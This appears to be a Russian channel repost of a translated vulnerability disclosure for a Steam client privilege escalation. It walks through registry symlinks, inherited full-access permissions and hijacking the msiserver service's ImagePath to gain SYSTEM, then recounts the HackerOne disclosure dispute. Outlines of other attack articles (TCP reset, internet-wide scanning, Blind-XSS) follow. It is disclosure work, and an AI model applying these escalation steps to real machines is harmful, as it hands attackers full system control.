Интересно, что же за права выставляются? Создаем тестовый ключ, запускаем сервис (лог procmon’а выше) и смотрим, что с правами. Тут и обнаруживается, что еще у раздела HKLM\SOFTWARE\Wow6432Node\Valve\Steam выставлены права на полный доступ для всех пользователей, которые наследуются на все подключи. Рождается гипотеза, что такие же права будут выставляться и всем подразделам HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps через вызов RegSetKeySecurity. А что если в реестре будет стоять симлинк, и ветка HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps\test будет указывать, например на HKLM\SOFTWARE\test2?

Проверяем и видим, что права в случае симлинка прописываются для целевой ветки реестра.

Проверяем права у целевой ветки и видим в SDDL-форме (пропуская неинтересное):

(A;ID;KA;;;BU)(A;OICIIOID;GA;;;BU)

В словесной форме это означает, что полный (чтение и запись) доступ для всех пользователей. Именно такие права прописал ветке сервис Steam.

Теперь, когда подготовлен примитив по получению контроля над практически любой веткой реестра, докрутить PoC уже легко. Я выбрал ветку HKLM\SYSTEM\ControlSet001\Services\msiserver — она соответствует сервису «Установщик Windows», который тоже может быть запущен пользователем, но работать сервис будет с правами NT AUTHORITY\SYSTEM. После получения контроля над веткой HKLM\SYSTEM\ControlSet001\Services\msiserver мы меняем путь к исполняемому файлу в ключе ImagePath и запускаем сервис msiserver. Наш исполняемый файл запускается с максимально возможными правами — NT AUTHORITY\SYSTEM.

Собираем все, что написано выше в код и получаем простое повышение привилегий на любом компьютере с Windows, где установлен Steam.

Сообщение об уязвимости

Я отправил отчет об уязвимости в Valve через Hackerone.

Тут меня ждала первая неожиданность — прежде чем передавать уязвимость непосредственно в Valve, мне нужно было сначала убедить hackerone staff в том, что у меня действительно отчет об уязвимости, так как Valve используют функцию «Managed by HackerOne». Мне не жалко — у меня PoC, который вызывает консоль от имени NT AUTHORITY\SYSTEM — доказательства на лицо. И я получаю отказ в отчете. Причиной указывается, что мой отчет вне скоупа исследований, поскольку «Attacks that require the ability to drop files in arbitrary locations on the user's filesystem.» (атака требует возможности располагать файлы в произвольных путях файловой системы). Моя реакция: «У меня даже нет ни одной операции с файловой системой, но отказ по такой причине, серьезно?»

Пишу комментарий об этом и приходит другой сотрудник, который все же берется проверять уязвимость. Подтверждает ее и передает Valve. Ура, цель достигнута. Или нет…?

Проходит время и отчет снова помечается как неприменимый. Причины: «Attacks that require the ability to drop files in arbitrary locations on the user's filesystem» и «Attacks that require physical access to the user’s device» (атака требует физический доступ к устройству пользователя). Тут я понял, что атаки на повышение привилегий попросту не интересны Valve.

Небольшой комментарий по поводу причин

Поскольку прошло 45 дней с момента отчета, я решил публично раскрыть детали уязвимости, хотя я не уверен, что это сподвигнет разработчиков Steam внести изменения.

Небольшие статистические данные: уязвимость была проверена на Windows 8 x64, Windows 8.1 x64 и Windows 10 x64. Я не знаю особенностей нумерации версий ПО Steam, поэтому зафиксирую версии компонентов сервиса:

SteamService.dll (5.16.86.11, подписан Valve 14.06.2019)
SteamService.exe (5.16.86.11, подписан Valve 14.06.2019)

Таймлайн:

15 июня

— отправлен отчет об уязвимости.

16 июня

— отклонен, «Attacks that require the ability to drop files in arbitrary locations on the user's filesystem.».

16 июня

— переоткрыт с комментарием.

2 июля

— подтвержден сотрудником HackerOne, передан Valve.

20 июля

— отклонен, «Attacks that require the ability to drop files in arbitrary locations on the user's filesystem.», «Attacks that require physical access to the user’s device.».

7 августа

— опубликована эта статья.

Немного спекуляций

Я очень разочарован. Серьезная компания, которая пишет пафосные слова о том, что безопасность важна, открывает ваш компьютер для максимального доступа любым программам, которые вы запускаете.

Довольно иронично обнаружить, что лаунчер, который фактически предназначен для того, чтобы запускать сторонние программы на вашем компьютере, позволяет им втихую получить максимальные привилегии. Вы уверены, что бесплатная игра, сделанная на коленке неизвестным разработчиком, будет вести себя честно? Верите, что за скидку в 90% вы не получите скрытый майнер? Конечно, часть угроз останется и при работе без прав администратора, но высокие права у вредоносных программ могут существенно попортить нервов – отключение антивируса, закрепление в системные автозагрузки, изменение практически любых файлов, любых пользователей.

Благодаря популярности Steam, количество потенциальных пострадавших очень велико. В 2015 году количество активных учётных записей Steam оценивалось как 125 миллионов. Да, не у всех пользователей Steam ОС Windows, но у большинства точно, и у каких-то пользователей по нескольку «живых» аккаунтов на одной машине. Но масштабы проблемы все же впечатляют.

А может все это оставлено специально? Может, Steam — это своего рода легальный бекдор? Точно установить это невозможно, но давайте сопоставим факты:

Есть уязвимость, которую легко эксплуатировать (причем, судя по сообщениям в твиттере, не одна).
Ее довольно легко обнаружить — я не уверен, что я первый нашел ее, но как минимум первый описал публично.
Нежелание принимать отчет о такой уязвимости и похожих (скоуп специально выбран так, что повышение привилегий из него выпадает).

Все это мне очень не нравится. Я не буду призывать вас удалять Steam, но предлагаю быть очень внимательным с тем, что он делает. На кону ваша безопасность.

Бонус

Дело в том, что в процессе подготовки этой статьи произошло довольно интересное событие, в связи с которым я решил дополнить таймлайн.

20 июля

— после отклонения отчета, я предупредил h1, что публично раскрою детали уязвимости после 30 июля.

2 августа

— еще один сотрудник h1 отмечается в закрытом отчете и говорит, что они не разрешают мне проводить раскрытие.

Данная статья была подготовлена к публикации уже к 30 июля (такая дата была выбрана из расчета 45 дней после отправки отчета), но задержалась. И вот, спустя две недели от моего сообщения 20 июля, появляется человек, который говорит мне: «мы не даем разрешение на раскрытие уязвимости». Фактически, получается: мы отметили твой отчет, как неподходящий, мы закрыли обсуждение, мы не посчитали нужным ничего тебе объяснять и мы просто не хотим, чтобы ты публиковался. При этом не единого слова от Valve. Нет, ребята, так дело не пойдет. Вы не стали уважать мою работу, я не буду уважать вашу — не вижу причин не публиковать этот отчет для всех. Скорее всего меня забанят на h1 из-за этого, но я огорчаться не стану.

UPD.

Оказывается вчера вышло обновление Steam. Нет, оно ничего не исправило.

Версия файлов: 5.27.59.20 подпись от 6.08.2019.

Оригинал статьи на англ: https://amonitoring.ru/article/steamclient-0day/

Перевел: xi-tauw

@it_ha

Как работает атака TCP Reset

Как атака TCP reset используется в Великом файрволе?

Как работает атака TCP reset?

Как работает протокол TCP

Порядковые номера TCP

Подтверждение получения данных

Выбор порядкового номера для фальшивого сегмента

Размер TCP-окна

Приемлемые порядковые номера для сегментов RST

Атаки TCP reset вслепую

Выполняем атаку TCP reset против себя

1. Установка TCP-соединения между двумя окнами терминала

2. Сниффинг трафика

3. Отправка фальшивых пакетов RST

Дальнейшая работа

By @it_ha

Как просканировать весь интернет

Чем плох nmap

Zmap и Masscan

Подготовка к сканированию

NAT, фильтры и фаероволы

Пробуем Zmap

Форматы вывода zmap

Сканируем весь интернет!

Что делать с этим дальше

By @it_ha

(Не)очевидный OSINT в Twitter

Twitter Dorks

Tweetdeck

Twitter Archiver

Итого

by @it_ha

7 историй про глупость, халтуру, доверчивость и их последствия

1. Номинация «Гостеприимство»

2. Номинация «Tinder головного мозга»

3. Номинация «Танец на граблях»

4. Номинация «Не вижу, значит не было»

5. Номинация «За информационный эксгибиционизм»

6. Номинация «Пицца как оружие судьбы»

7. Номинация «Кручусь, как умею»

by @it_ha

📱 Освободи свой Android

Motorola G7

Покупка и первые впечатления

Шаг 1. Разблокировка загрузчика

Шаг 2. Установка TWRP

Шаг 3. Установка LineageOS

copy-partitions.zip

LineageOS

AddonSU

Google apps

Операции в TWRP

Root

LineageOS

Что мы потеряли?

Что мы приобрели?

Есть ли жизнь на LineageOS?

Выводы

Послесловие

by @it_ha

Охота за ошибками, Blind-XSS и лисьи хитрости

Инструменты для эксплуатации

Точка входа или Injection Point

Пост эксплуатация и обход механизмов защиты

Заключение

by @it_ha

Итак, вы хотите стать аналитиком в области сетевой безопасности…

Кто такой аналитик в области сетевой безопасности?

Ломаем для жизни

Выход за рамки известных методов

Охота за забытыми знаниями

Собирайте редкости

Не существует слишком глупых идей

Откажитесь от комфорта

Повторять, изобретать, делиться Повторять

Изобретать

Делиться

Заключение

by @it_ha

3. Отправка фальшивых пакетов `RST`

Повторять, изобретать, делиться
Повторять